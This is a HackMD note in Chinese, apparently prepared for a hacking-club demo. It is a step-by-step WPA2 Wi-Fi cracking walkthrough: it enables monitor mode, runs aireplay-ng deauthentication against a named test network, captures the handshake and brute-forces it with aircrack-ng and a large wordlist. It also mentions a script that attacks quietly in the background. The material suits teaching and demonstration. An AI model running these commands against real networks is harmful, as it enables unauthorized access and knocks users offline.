JunnerX
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # wifi: what's cracking? 文件說明 > Author: Junner > Date: 12/05/2024 > Code: https://github.com/HackerSir/My-Waifu-Is-Not-Safe > Description: [HackMd](https://hackmd.io/WEyS9iLSRje7boteEW4bWg) > 簡報:https://hackmd.io/@JunnerX/My-Waifu-Is-Not-Safe-Presentation >> 虛擬機: >> 帳號: `kali` >> 密碼: `kali` >> >> 筆電:帳密在筆電底下 ## 大綱 > * [懶人包:所有指令](#%E6%89%80%E6%9C%89%E6%8C%87%E4%BB%A4) > * [虛擬機設定](#網路設定) > * [用指令攻擊](#用指令攻擊) > * [用 Python 攻擊](#%E7%94%A8-Python-%E7%88%86%E7%A0%B4%E5%AF%86%E7%A2%BC%E3%80%82) ## 所有指令 >用 root 權限執行 script,密碼是 `kali`。 檔案在 `~\Desktop\nets\atker\`,名稱 `sub_process_3.py`。 結果會輸出到 `passwords` 裡面,找到 KEY FOUND! \[ 1234567890 ],那密碼就是 1234567890 打開 managed mode 與測試 ```bash= ifconfig wlan0 down airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up airmon-ng start wlan0 aireplay-ng --test wlan0 ``` 獲得目標的 MAC 與 ACK ```bash= airodump-ng --essid OppOppOppO wlan0 airodump-ng --bssid 62:08:7D:D1:49:87 -w /home/kali/Desktop/nets/test1/ wlan0 ``` 在這裡開一個新的終端機,執行 ```bash= aireplay-ng -0 30 -a 62:08:7D:D1:49:87 -c 5A:D4:F9:B3:3F:B1 wlan0 ``` 爆破密碼 ```bash= aircrack-ng -a2 -b 62:08:7D:D1:49:87 -w /home/kali/Desktop/passwords/10-million-password-list-top-1000000.txt /home/kali/Desktop/nets/test1/*.cap ``` ## 網路設定 運行 VMware Workstation 當 usb 裝置插入時,這個視窗將會彈出。選擇 `Connect to Virtual machine` > 選擇目標虛擬機器。 ![圖片](https://hackmd.io/_uploads/HyYE0AqXyx.png) `OK` ![圖片](https://hackmd.io/_uploads/ByDQCC5myx.png) 執行 `iwconfig`,會看到該裝置。 ![圖片](https://hackmd.io/_uploads/BJgmRA971l.png) 如果你透過執行「lsusb」看到該設備名稱,但沒有看到它出現在「iwconfig」中,請重複執行上述步驟,或檢查下方的網路設定。如果執行了多次但仍看不到該設備,可以嘗試重新啟動虛擬機器。 設定方式: `Tabs` > ![圖片](https://hackmd.io/_uploads/rympRA9Xyl.png) `Edit` > `Virtual Network Editor` 不需要 bridge ![圖片](https://hackmd.io/_uploads/r1UOR0qmyl.png) `VM` > `Settings` > `Network Adapter` 通常 usb 裝置名稱會識別為 `VMnet0` ![圖片](https://hackmd.io/_uploads/H1qeJko7Jx.png) 這樣設定就完成了。享受你的攻擊之旅吧! ## 用指令攻擊 **首先,終端機要開啟 root 權限,密碼是 `kali`。** ### 打開 Monitor Mode 為了攻擊,需要為 usb 裝置打開 monitor mode ```bash= ifconfig wlan0 down ``` 運行這個後,設備將會連不到網路。 ```bash=2 airmon-ng check kill ``` ```bash=3 iwconfig wlan0 mode monitor ``` 如果看到警告,無視他就好。 ![圖片](https://hackmd.io/_uploads/S1VqYys71e.png) ```bash=4 ifconfig wlan0 up airmon-ng start wlan0 ``` 為了測試 monitor mode 已經成功啟用: ```bash=6 aireplay-ng --test wlan0 ``` 如果看到「Injection is working!」,那就是成功了。 ![圖片](https://hackmd.io/_uploads/ryDatyj71g.png) ### 關閉 monitor mode 和恢復網路連線 ```bash= airmon-ng stop wlan0 ifconfig wlan0 down ``` 因為你關閉了網路管理員,要恢復的話就跑: ```bash=3 service NetworkManager restart ``` ### 攻擊程序 #### 1. 獲得目標 BSSID 假設攻擊目標的 wifi 名稱為 `OppOppOppO`. ``` airodump-ng --essid OppOppOppO wlan0 ``` `BSSID` 的下方就是目標的 MAC。 `Ctrl+C` 中斷程式並複製 `62:08:7D:D1:49:87` ![圖片](https://hackmd.io/_uploads/rkRyAJjQJl.png) #### 獲得連線到目標的裝置的 BSSID ``` airodump-ng --bssid 62:08:7D:D1:49:87 -c 1 -w /home/kali/Desktop/nets/test1 wlan0 ``` 檔案會儲存在 `/home/kali/Desktop/nets/`,並有著 `test1` 的前綴。 等待 5 至 30 秒,`STATION` 的下方將會出現一些地址。 <!-- By the way, the channel `CH` should stay at `1`. --> ![圖片](https://hackmd.io/_uploads/S1SbGesQke.png) #### 3. get ACK 開啟另外一個終端機,而上一個執行的指令必須還在執行中,毋須關閉。 ``` aireplay-ng -0 20 -a 62:08:7D:D1:49:87 -c 5A:D4:F9:B3:3F:B1 wlan0 ``` #### 4. EXPLOSION!! ACK 的副檔名是 `.cap`。通常最新的檔案的名稱會包含著最大的數字。 ![圖片](https://hackmd.io/_uploads/SJRS_ximyl.png) 然後!爆破! ``` aircrack-ng -a2 -b 62:08:7D:D1:49:87 -w /home/kali/Desktop/passwords/10-million-password-list-top-1000000.txt /home/kali/Desktop/nets/test1*.cap ``` ![圖片](https://hackmd.io/_uploads/SJQYkZs7Jx.png) 而結果會在 `passwords` 裡面: KEY FOUND! \[ 1234567890 ] ![圖片](https://hackmd.io/_uploads/SykWT5JSJx.png) ## 用 Python 爆破密碼。 基本上大部分情況都會被處理,如果還是爆開就...用上面的指令打,因為用上面的指令還比較有展示性一點,但如果用 script 就能悄悄的攻擊,兩種不一樣的方式。 所以如果可以的話,先問他們 wifi 名稱,放到 script 裡面讓他背景執行。如果真的不行的話再手動打,現場展示。 基本上會改的部分就是 `target`、`file_path`、`passwordSet_path`。 主要: * `target`:要攻擊的目標名稱。(這次預設為 `OppOppOppO`) 其他還有像是:(通常不會動) * `file_path`:要儲存的檔案**路徑**。 * `passwordSet_path`:密碼集文字檔的所在地。 ![圖片](https://hackmd.io/_uploads/BJkkIEy4Jg.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully